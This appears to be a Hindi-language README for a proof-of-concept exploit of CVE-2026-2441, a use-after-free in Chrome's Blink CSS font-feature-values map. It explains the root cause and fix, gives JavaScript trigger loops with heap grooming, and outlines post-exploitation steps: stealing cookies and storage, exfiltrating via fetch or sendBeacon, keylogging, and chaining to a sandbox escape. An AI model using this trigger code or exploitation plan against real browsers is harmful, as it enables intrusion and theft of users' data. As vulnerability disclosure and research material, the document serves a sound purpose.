
CVE-2026-2441 के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो Chrome के CSS इंजन में use-after-free है, जो रेंडरर क्रैश और क्राफ्टेड HTML के माध्यम से संभावित सैंडबॉक्स्ड कोड निष्पादन को प्रदर्शित करता है।
CVSS 8.8 (उच्च) | जंगल में सक्रिय रूप से शोषित | Renderer RCE (सैंडबॉक्स्ड)
Google Chrome के Blink CSS इंजन में एक use-after-free भेद्यता जो एक दूरस्थ हमलावर को एक क्राफ्टेड HTML पेज के माध्यम से ब्राउज़र सैंडबॉक्स के अंदर मनमाना कोड निष्पादित करने की अनुमति देती है।
| फ़ील्ड | मान |
|---|
| CVE | CVE-2026-2441 |
| CVSS | 8.8 (उच्च) |
| प्रकार | Use-After-Free (CWE-416) |
| घटक | Blink CSS — CSSFontFeatureValuesMap |
| स्रोत फ़ाइल | third_party/blink/renderer/core/css/css_font_feature_values_map.cc |
| फिक्स कमिट | 63f3cb4864c64c677cd60c76c8cb49d37d08319c |
| रिपोर्टर | Shaheen Fazim (2026-02-11) |
| पैच तिथि | 2026-02-13 |
| जंगल में | हाँ — Google ने सक्रिय शोषण की पुष्टि की |
| प्लेटफ़ॉर्म | असुरक्षित | फिक्स्ड |
|---|---|---|
| Windows / macOS (स्टेबल) | < 145.0.7632.75 | >= 145.0.7632.75 |
| Linux (स्टेबल) | < 144.0.7559.75 | >= 144.0.7559.75 |
| Windows / macOS (विस्तारित स्टेबल) | < 144.0.7559.177 | >= 144.0.7559.177 |
| Chromium-आधारित ब्राउज़र (Edge, Brave, Opera, Vivaldi) | विक्रेता सलाह देखें | भिन्न होता है |
FontFeatureValuesMapIterationSource ने आंतरिक FontFeatureAliases HashMap के लिए एक रॉ पॉइंटर (const FontFeatureAliases* aliases_) संग्रहीत किया। जब पुनरावृत्ति के दौरान set() या delete() के माध्यम से मैप को परिवर्तित किया जाता है, तो HashMap रीहैश होता है — नया स्टोरेज आवंटित करता है और पुराने को मुक्त करता है। रॉ पॉइंटर डैंगलिंग हो जाता है, और अगला FetchNextItem() कॉल मुक्त मेमोरी से पढ़ता है।
CreateIterationSource()
→ FontFeatureValuesMapIterationSource(map, aliases_)
→ aliases_ = आंतरिक HashMap के लिए रॉ पॉइंटर
→ iterator_ = aliases_->begin()
FetchNextItem()
→ iterator_->key पढ़ता है (aliases_ के माध्यम से)
यदि map.set() / map.delete() को पुनरावृत्तियों के बीच कॉल किया जाता है:
→ HashMap रीहैश होता है (नया आवंटन, पुराना मुक्त)
→ aliases_ → डैंगलिंग पॉइंटर
→ iterator_ → अमान्य
→ अगला FetchNextItem() → USE-AFTER-FREE
- const FontFeatureAliases* aliases_; // रॉ पॉइंटर → रीहैश के बाद डैंगलिंग
+ const FontFeatureAliases aliases_; // डीप कॉपी → रीहैश से प्रतिरक्षित
फिक्स रॉ पॉइंटर को HashMap की डीप कॉपी से बदल देता है। भले ही मूल मैप रीहैश हो जाए, इटरेटर अपनी स्वयं की कॉपी पर काम करता है, जिससे डैंगलिंग पॉइंटर को रोका जा सके।
poc.html खोलें| Chrome संस्करण | अपेक्षित व्यवहार |
|---|---|
| < 145.0.7632.75 (अनपैच्ड) | Renderer क्रैश — STATUS_ACCESS_VIOLATION (Windows) या SIGSEGV (Linux/macOS)। Chrome "Can't open this page" त्रुटि दिखाता है। |
| >= 145.0.7632.75 (पैच्ड) | कोई क्रैश नहीं — PoC पूर्ण रूप से चलता है, सभी प्रविष्टियाँ सामान्य रूप से पढ़ी जाती हैं। |
जब एक असुरक्षित Chrome संस्करण में खोला जाता है, तो renderer प्रक्रिया STATUS_ACCESS_VIOLATION के साथ क्रैश हो जाती है:
Can't open this page
Error code: STATUS_ACCESS_VIOLATION
यह पुष्टि करता है कि UAF ट्रिगर हुआ है — डैंगलिंग पॉइंटर मुक्त/अनमैप्ड मेमोरी तक पहुँचता है, जिससे renderer प्रक्रिया समाप्त हो जाती है।
PoC तीन स्वतंत्र तरीकों के माध्यम से UAF को ट्रिगर करता है:
entries() इटरेटर + म्यूटेशन लूपconst iterator = map.entries();
while (step < 20) {
iterator.next(); // (अब डैंगलिंग) पॉइंटर के माध्यम से पढ़ें
map.delete(key); // रीहैश ट्रिगर करें
for (i = 0; i < 512; i++)
map.set("spray_" + i, [i]); // पुनः आवंटन को मजबूर करें
}
for...of + समवर्ती म्यूटेशनfor (const [k, v] of map) {
map.delete(k);
for (i = 0; i < 512; i++)
map.set("alt_" + i, [i]);
}
requestAnimationFrame + लेआउट पुनर्गणनाfunction rafTrigger() {
document.body.offsetWidth; // लेआउट पुनर्गणना को मजबूर करें
const result = iterator.next();
map.delete(k);
for (i = 0; i < 512; i++)
map.set("raf_" + i, [i]);
requestAnimationFrame(rafTrigger);
}
प्रत्येक विधि में हीप ग्रूमिंग भी शामिल है — संभावित शोषण के लिए हीप लेआउट को पूर्वानुमानित बनाने के लिए 50 समान आकार के @font-feature-values नियम आवंटित करना।
document.cookie, localStorage, sessionStorage, फ़ॉर्म इनपुट मान पढ़ेंfetch() / WebSocket / sendBeacon() के माध्यम से बाहर निकालेंaddEventListener('keydown') के माध्यम से सभी कीस्ट्रोक्स कैप्चर करेंजब एक अलग सैंडबॉक्स एस्केप भेद्यता के साथ संयुक्त किया जाता है:
Renderer RCE (CVE-2026-2441)
→ Mojo IPC शोषण → ब्राउज़र प्रक्रिया RCE
→ कर्नेल शोषण → पूर्ण सिस्टम समझौता
→ मैलवेयर / रैंसमवेयर / स्पाइवेयर स्थापना
→ फ़ाइल सिस्टम एक्सेस, पार्श्व गति, स्थिरता
समान ब्राउज़र UAF का उपयोग करने वाली वास्तविक दुनिया की शोषण श्रृंखलाएँ:
यह भेद्यता ड्राइव-बाय डाउनलोड के माध्यम से शोषण योग्य है — एक दुर्भावनापूर्ण पेज पर जाने के अलावा कोई उपयोगकर्ता इंटरैक्शन आवश्यक नहीं है:
chrome://flags/#site-isolation-trial-opt-out)| तिथि | घटना |
|---|---|
| 2026-02-11 | Shaheen Fazim द्वारा भेद्यता की रिपोर्ट |
| 2026-02-13 | Google Chrome 145.0.7632.75/76 (Windows/macOS), 144.0.7559.75 (Linux) जारी करता है |
| 2026-02-13 | Google जंगल में शोषण स्वीकार करता है |
| 2026-02-16 | Vivaldi और Opera फिक्स जारी करते हैं |
यदि आपको यह शोध उपयोगी लगता है, तो मुझे एक कॉफी खरीदने पर विचार करें:
यह प्रूफ ऑफ कॉन्सेप्ट केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। स्पष्ट अनुमति के बिना सिस्टम के खिलाफ इस PoC का उपयोग अवैध और अनैतिक है। लेखक किसी भी दुरुपयोग के लिए जिम्मेदार नहीं है।
MIT